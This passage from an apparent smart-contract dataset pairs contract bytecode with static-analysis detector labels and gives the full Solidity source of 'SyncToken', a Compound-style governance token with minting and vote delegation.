769f60e11b81523060048201526001600160a01b038c811660248301529151839288169163dd62ed3e916044808301926020929190829003018186803b158015610c5d57600080fd5b505afa158015610c71573d6000803e3d6000fd5b505050506040513d6020811015610c8757600080fd5b50511015610d10576040805163095ea7b360e01b81526001600160a01b038c81166004830152600019602483015291519187169163095ea7b3916044808201926020929091908290030181600087803b158015610ce357600080fd5b505af1158015610cf7573d6000803e3d6000fd5b505050506040513d6020811015610d0d57600080fd5b50505b896001600160a01b0316631d98cf40826000808b6040518563ffffffff1660e01b815260040180858152602001848152602001838152602001828152602001945050505050602060405180830381600087803b158015610d6f57600080fd5b505af1158015610d83573d6000803e3d6000fd5b505050506040513d6020811015610d9957600080fd5b5050604080516370a0823160e01b815230600482015290516000916001600160a01b038616916370a0823191602480820192602092909190829003018186803b158015610de557600080fd5b505afa158015610df9573d6000803e3d6000fd5b505050506040513d6020811015610e0f57600080fd5b505160408051632b112e4960e01b815290519192506000916001600160a01b038d1691633f812882918391632b112e49916004808301926020929190829003018186803b158015610e5f57600080fd5b505afa158015610e73573d6000803e3d6000fd5b505050506040513d6020811015610e8957600080fd5b8101908080519060200190929190505050610f0f858f6001600160a01b031663fd5c63b26040518163ffffffff1660e01b815260040160206040518083038186803b158015610ed757600080fd5b505afa158015610eeb573d6000803e3d6000fd5b505050506040513d6020811015610f0157600080fd5b50519063ffffffff61142616565b6040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610f4a57600080fd5b505afa158015610f5e573d6000803e3d6000fd5b505050506040513d6020811015610f7457600080fd5b505190506000610f9682610aa285670de0b6b3a764000063ffffffff61138216565b60408051636eb1769f60e11b81523060048201526001600160a01b038f81166024830152915192935085929189169163dd62ed3e91604480820192602092909190829003018186803b158015610feb57600080fd5b505afa158015610fff573d6000803e3d6000fd5b505050506040513d602081101561101557600080fd5b5051101561109e576040805163095ea7b360e01b81526001600160a01b038e81166004830152600019602483015291519188169163095ea7b3916044808201926020929091908290030181600087803b15801561107157600080fd5b505af1158015611085573d6000803e3d6000fd5b505050506040513d602081101561109b57600080fd5b50505b60408051631bb6232160e11b8152600481018590526024810183905260448101849052606481018c905290516001600160a01b038e169163376c46429160848083019260209291908290030181600087803b1580156110fc57600080fd5b505af1158015611110573d6000803e3d6000fd5b505050506040513d602081101561112657600080fd5b5050604080516370a0823160e01b815230600482015290516000916001600160a01b038a16916370a0823191602480820192602092909190829003018186803b15801561117257600080fd5b505afa158015611186573d6000803e3d6000fd5b505050506040513d602081101561119c57600080fd5b505190508b8111156111f5576040805162461bcd60e51b815260206004820152601d60248201527f65786368616e67653a20457863656564206d6178416d6f756e744f7574000000604482015290519081900360640190fd5b61120f6001600160a01b038916338363ffffffff61132b16565b336001600160a01b03168d6001600160a01b03168f6001600160a01b03167f1c4a290be1a12dcc5ccf0270b31161d8ab7c97fbf8549fba7046a294375a8a5c8885604051808381526020018281526020019250505060405180910390a450505050505050505060005481146107a5576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611325908590611480565b50505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261137d908490611480565b505050565b600082611391575060006113de565b8282028284828161139e57fe5b04146113db5760405162461bcd60e51b81526004018080602001828103825260218152602001806117376021913960400191505060405180910390fd5b90505b92915050565b60006113db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611638565b6000828201838110156113db576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b611492826001600160a01b03166116da565b6114e3576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106115215780518252601f199092019160209182019101611502565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611583576040519150601f19603f3d011682016040523d82523d6000602084013e611588565b606091505b5091509150816115df576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115611325578080602001905160208110156115fb57600080fd5b50516113255760405162461bcd60e51b815260040180806020018281038252602a815260200180611758602a913960400191505060405180910390fd5b600081836116c45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611689578181015183820152602001611671565b50505050905090810190601f1680156116b65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816116d057fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061170e5750808214155b94935050505056fe65786368616e67653a20496e76616c696420746f6b656e206164647265737300536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723158206f46f315d6a745038271685a608fbd47024ed4adcde5457405b724a487cbfedb64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,415 |
0x0020Db377B67D035744d2243C794137b431EAbC0
|
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
// Copyright 2020 Compound Labs, Inc.
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
contract SyncToken {
/// @notice EIP-20 token name for this token
string public constant name = "Sync DAO";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "SYNC";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply;
/// @notice Minter address
address public minter;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/// @notice An event thats emitted when the minter is changed
event NewMinter(address minter);
modifier onlyMinter {
require(msg.sender == minter, "SyncToken:onlyMinter: should only be called by minter");
_;
}
/**
* @notice Construct a new Sync token
* @param initialSupply The initial supply minted at deployment
* @param account The initial account to grant all the tokens
*/
constructor(uint initialSupply, address account, address _minter) public {
totalSupply = safe96(initialSupply, "SyncToken::constructor:amount exceeds 96 bits");
balances[account] = uint96(initialSupply);
minter = _minter;
emit Transfer(address(0), account, initialSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "SyncToken::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Mint `amount` tokens to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @notice only callable by minter
*/
function mint(address dst, uint rawAmount) external onlyMinter {
uint96 amount = safe96(rawAmount, "SyncToken::mint: amount exceeds 96 bits");
_mintTokens(dst, amount);
}
/**
* @notice Mint `amount` tokens to `dst`
* @param account The address of the new minter
* @notice only callable by minter
*/
function changeMinter(address account) external onlyMinter {
minter = account;
emit NewMinter(account);
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "SyncToken::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "SyncToken::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "SyncToken::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "SyncToken::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "SyncToken::delegateBySig: invalid nonce");
require(now <= expiry, "SyncToken::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "SyncToken::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "SyncToken::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "SyncToken::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "SyncToken::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "SyncToken::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _mintTokens(address dst, uint96 amount) internal {
require(dst != address(0), "SyncToken::_mintTokens: cannot transfer to the zero address");
balances[dst] = add96(balances[dst], amount, "SyncToken::_mintTokens: transfer amount overflows");
emit Transfer(address(0), dst, amount);
_moveDelegates(address(0), delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "SyncToken::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "SyncToken::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "SyncToken::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80636fcfff45116100b8578063a9059cbb1161007c578063a9059cbb1461029b578063b4b5ea57146102ae578063c3cda520146102c1578063dd62ed3e146102d4578063e7a324dc146102e7578063f1127ed8146102ef57610142565b80636fcfff451461022d57806370a082311461024d578063782d6fe1146102605780637ecebe001461028057806395d89b411461029357610142565b806323b872dd1161010a57806323b872dd146101b75780632c4d4d18146101ca578063313ce567146101df57806340c10f19146101f4578063587cde1e146102075780635c19a95c1461021a57610142565b806306fdde03146101475780630754617214610165578063095ea7b31461017a57806318160ddd1461019a57806320606b70146101af575b600080fd5b61014f610310565b60405161015c9190611a53565b60405180910390f35b61016d610334565b60405161015c919061199b565b61018d610188366004611448565b610343565b60405161015c91906119a9565b6101a2610402565b60405161015c91906119b7565b6101a2610408565b61018d6101c53660046113fb565b61041f565b6101dd6101d836600461139b565b610568565b005b6101e76105f1565b60405161015c9190611b0d565b6101dd610202366004611448565b6105f6565b61016d61021536600461139b565b610655565b6101dd61022836600461139b565b610670565b61024061023b36600461139b565b61067d565b60405161015c9190611ae4565b6101a261025b36600461139b565b610695565b61027361026e366004611448565b6106b9565b60405161015c9190611b29565b6101a261028e36600461139b565b6108c7565b61014f6108d9565b61018d6102a9366004611448565b6108f9565b6102736102bc36600461139b565b610935565b6101dd6102cf366004611478565b6109a5565b6101a26102e23660046113c1565b610b8f565b6101a2610bc3565b6103026102fd3660046114ff565b610bcf565b60405161015c929190611af2565b6040518060400160405280600881526020016753796e632044414f60c01b81525081565b6001546001600160a01b031681565b600080600019831415610359575060001961037e565b61037b836040518060600160405280602a8152602001611c0f602a9139610c04565b90505b3360008181526002602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103ee908590611b1b565b60405180910390a360019150505b92915050565b60005481565b60405161041490611985565b604051809103902081565b6001600160a01b03831660009081526002602090815260408083203380855290835281842054825160608101909352602a80845291936001600160601b039091169285926104779288929190611c0f90830139610c04565b9050866001600160a01b0316836001600160a01b0316141580156104a457506001600160601b0382811614155b1561054e5760006104ce8383604051806080016040528060428152602001611d2560429139610c33565b6001600160a01b038981166000818152600260209081526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610544908590611b1b565b60405180910390a3505b610559878783610c72565b600193505050505b9392505050565b6001546001600160a01b0316331461059b5760405162461bcd60e51b815260040161059290611ad4565b60405180910390fd5b600180546001600160a01b0319166001600160a01b0383161790556040517f6adffd5c93085d835dac6f3b40adf7c242ca4b3284048d20c3d8a501748dc973906105e690839061199b565b60405180910390a150565b601281565b6001546001600160a01b031633146106205760405162461bcd60e51b815260040161059290611ad4565b600061064482604051806060016040528060278152602001611cfe60279139610c04565b90506106508382610e18565b505050565b6004602052600090815260409020546001600160a01b031681565b61067a3382610f24565b50565b60066020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600360205260409020546001600160601b031690565b60004382106106da5760405162461bcd60e51b815260040161059290611ab4565b6001600160a01b03831660009081526006602052604090205463ffffffff16806107085760009150506103fc565b6001600160a01b038416600090815260056020908152604080832063ffffffff600019860181168552925290912054168310610784576001600160a01b03841660009081526005602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506103fc565b6001600160a01b038416600090815260056020908152604080832083805290915290205463ffffffff168310156107bf5760009150506103fc565b600060001982015b8163ffffffff168163ffffffff16111561088257600282820363ffffffff160481036107f1611358565b506001600160a01b038716600090815260056020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b0316918101919091529087141561085d576020015194506103fc9350505050565b805163ffffffff168711156108745781935061087b565b6001820392505b50506107c7565b506001600160a01b038516600090815260056020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60076020526000908152604090205481565b6040518060400160405280600481526020016353594e4360e01b81525081565b60008061091e836040518060600160405280602b8152602001611da0602b9139610c04565b905061092b338583610c72565b5060019392505050565b6001600160a01b03811660009081526006602052604081205463ffffffff1680610960576000610561565b6001600160a01b0383166000908152600560209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60006040516109b390611985565b60408051918290038220828201909152600882526753796e632044414f60c01b6020909201919091527f6892c44d78ca17f23fc0867ef1554a73011558efaef62eb103589c9368a287b8610a05610fae565b30604051602001610a199493929190611a03565b6040516020818303038152906040528051906020012090506000604051610a3f90611990565b604051908190038120610a5a918a908a908a906020016119c5565b60405160208183030381529060405280519060200120905060008282604051602001610a87929190611954565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610ac49493929190611a38565b6020604051602081039080840390855afa158015610ae6573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610b195760405162461bcd60e51b815260040161059290611ac4565b6001600160a01b03811660009081526007602052604090208054600181019091558914610b585760405162461bcd60e51b815260040161059290611a84565b87421115610b785760405162461bcd60e51b815260040161059290611aa4565b610b82818b610f24565b505050505b505050505050565b6001600160a01b0391821660009081526002602090815260408083209390941682529190915220546001600160601b031690565b60405161041490611990565b600560209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610c2b5760405162461bcd60e51b81526004016105929190611a53565b509192915050565b6000836001600160601b0316836001600160601b031611158290610c6a5760405162461bcd60e51b81526004016105929190611a53565b505050900390565b6001600160a01b038316610c985760405162461bcd60e51b815260040161059290611a94565b6001600160a01b038216610cbe5760405162461bcd60e51b815260040161059290611a64565b6001600160a01b03831660009081526003602090815260409182902054825160608101909352603b808452610d09936001600160601b039092169285929190611c3990830139610c33565b6001600160a01b03848116600090815260036020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526035808452610d719491909116928592909190611dcb90830139610fb2565b6001600160a01b038381166000818152600360205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dde908590611b1b565b60405180910390a36001600160a01b0380841660009081526004602052604080822054858416835291205461065092918216911683610fee565b6001600160a01b038216610e3e5760405162461bcd60e51b815260040161059290611a74565b6001600160a01b038216600090815260036020908152604091829020548251606081019093526031808452610e89936001600160601b039092169285929190611ccd90830139610fb2565b6001600160a01b03831660008181526003602052604080822080546001600160601b0319166001600160601b03959095169490941790935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef3908590611b1b565b60405180910390a36001600160a01b03808316600090815260046020526040812054610f20921683610fee565b5050565b6001600160a01b03808316600081815260046020818152604080842080546003845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610fa8828483610fee565b50505050565b4690565b6000838301826001600160601b038087169083161015610fe55760405162461bcd60e51b81526004016105929190611a53565b50949350505050565b816001600160a01b0316836001600160a01b03161415801561101957506000816001600160601b0316115b15610650576001600160a01b038316156110d1576001600160a01b03831660009081526006602052604081205463ffffffff169081611059576000611098565b6001600160a01b0385166000908152600560209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006110bf82856040518060600160405280602d8152602001611c74602d9139610c33565b90506110cd8684848461117c565b5050505b6001600160a01b03821615610650576001600160a01b03821660009081526006602052604081205463ffffffff16908161110c57600061114b565b6001600160a01b0384166000908152600560209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061117282856040518060600160405280602c8152602001611ca1602c9139610fb2565b9050610b87858484845b60006111a043604051806060016040528060398152602001611d6760399139611331565b905060008463ffffffff161180156111e957506001600160a01b038516600090815260056020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611248576001600160a01b0385166000908152600560209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556112e7565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600583528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600690935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611322929190611b37565b60405180910390a25050505050565b600081600160201b8410610c2b5760405162461bcd60e51b81526004016105929190611a53565b604080518082019091526000808252602082015290565b80356103fc81611bdf565b80356103fc81611bf3565b80356103fc81611bfc565b80356103fc81611c05565b6000602082840312156113ad57600080fd5b60006113b9848461136f565b949350505050565b600080604083850312156113d457600080fd5b60006113e0858561136f565b92505060206113f18582860161136f565b9150509250929050565b60008060006060848603121561141057600080fd5b600061141c868661136f565b935050602061142d8682870161136f565b925050604061143e8682870161137a565b9150509250925092565b6000806040838503121561145b57600080fd5b6000611467858561136f565b92505060206113f18582860161137a565b60008060008060008060c0878903121561149157600080fd5b600061149d898961136f565b96505060206114ae89828a0161137a565b95505060406114bf89828a0161137a565b94505060606114d089828a01611390565b93505060806114e189828a0161137a565b92505060a06114f289828a0161137a565b9150509295509295509295565b6000806040838503121561151257600080fd5b600061151e858561136f565b92505060206113f185828601611385565b61153881611b64565b82525050565b61153881611b6f565b61153881611b74565b61153861155c82611b74565b611b74565b600061156c82611b52565b6115768185611b56565b9350611586818560208601611ba9565b61158f81611bd5565b9093019392505050565b60006115a6603f83611b56565b7f53796e63546f6b656e3a3a5f7472616e73666572546f6b656e733a2063616e6e81527f6f74207472616e7366657220746f20746865207a65726f206164647265737300602082015260400192915050565b6000611605600283611b5f565b61190160f01b815260020192915050565b6000611623603b83611b56565b7f53796e63546f6b656e3a3a5f6d696e74546f6b656e733a2063616e6e6f74207481527f72616e7366657220746f20746865207a65726f20616464726573730000000000602082015260400192915050565b6000611682602783611b56565b7f53796e63546f6b656e3a3a64656c656761746542795369673a20696e76616c6981526664206e6f6e636560c81b602082015260400192915050565b60006116cb604183611b56565b7f53796e63546f6b656e3a3a5f7472616e73666572546f6b656e733a2063616e6e81527f6f74207472616e736665722066726f6d20746865207a65726f206164647265736020820152607360f81b604082015260600192915050565b6000611734602b83611b56565b7f53796e63546f6b656e3a3a64656c656761746542795369673a207369676e617481526a1d5c9948195e1c1a5c995960aa1b602082015260400192915050565b6000611781604383611b5f565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b60006117ec602c83611b56565b7f53796e63546f6b656e3a3a6765745072696f72566f7465733a206e6f7420796581526b1d0819195d195c9b5a5b995960a21b602082015260400192915050565b600061183a602b83611b56565b7f53796e63546f6b656e3a3a64656c656761746542795369673a20696e76616c6981526a64207369676e617475726560a81b602082015260400192915050565b6000611887603a83611b5f565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b60006118e6603583611b56565b7f53796e63546f6b656e3a6f6e6c794d696e7465723a2073686f756c64206f6e6c8152743c9031329031b0b63632b210313c9036b4b73a32b960591b602082015260400192915050565b61153881611b83565b61153881611b8c565b61153881611b9e565b61153881611b92565b600061195f826115f8565b915061196b8285611550565b60208201915061197b8284611550565b5060200192915050565b60006103fc82611774565b60006103fc8261187a565b602081016103fc828461152f565b602081016103fc828461153e565b602081016103fc8284611547565b608081016119d38287611547565b6119e0602083018661152f565b6119ed6040830185611547565b6119fa6060830184611547565b95945050505050565b60808101611a118287611547565b611a1e6020830186611547565b611a2b6040830185611547565b6119fa606083018461152f565b60808101611a468287611547565b6119e06020830186611939565b602080825281016105618184611561565b602080825281016103fc81611599565b602080825281016103fc81611616565b602080825281016103fc81611675565b602080825281016103fc816116be565b602080825281016103fc81611727565b602080825281016103fc816117df565b602080825281016103fc8161182d565b602080825281016103fc816118d9565b602081016103fc8284611930565b60408101611b008285611930565b610561602083018461194b565b602081016103fc8284611939565b602081016103fc8284611942565b602081016103fc828461194b565b60408101611b458285611942565b6105616020830184611942565b5190565b90815260200190565b919050565b60006103fc82611b77565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b60006103fc82611b92565b60005b83811015611bc4578181015183820152602001611bac565b83811115610fa85750506000910152565b601f01601f191690565b611be881611b64565b811461067a57600080fd5b611be881611b74565b611be881611b83565b611be881611b8c56fe53796e63546f6b656e3a3a617070726f76653a20616d6f756e742065786365656473203936206269747353796e63546f6b656e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e636553796e63546f6b656e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f777353796e63546f6b656e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f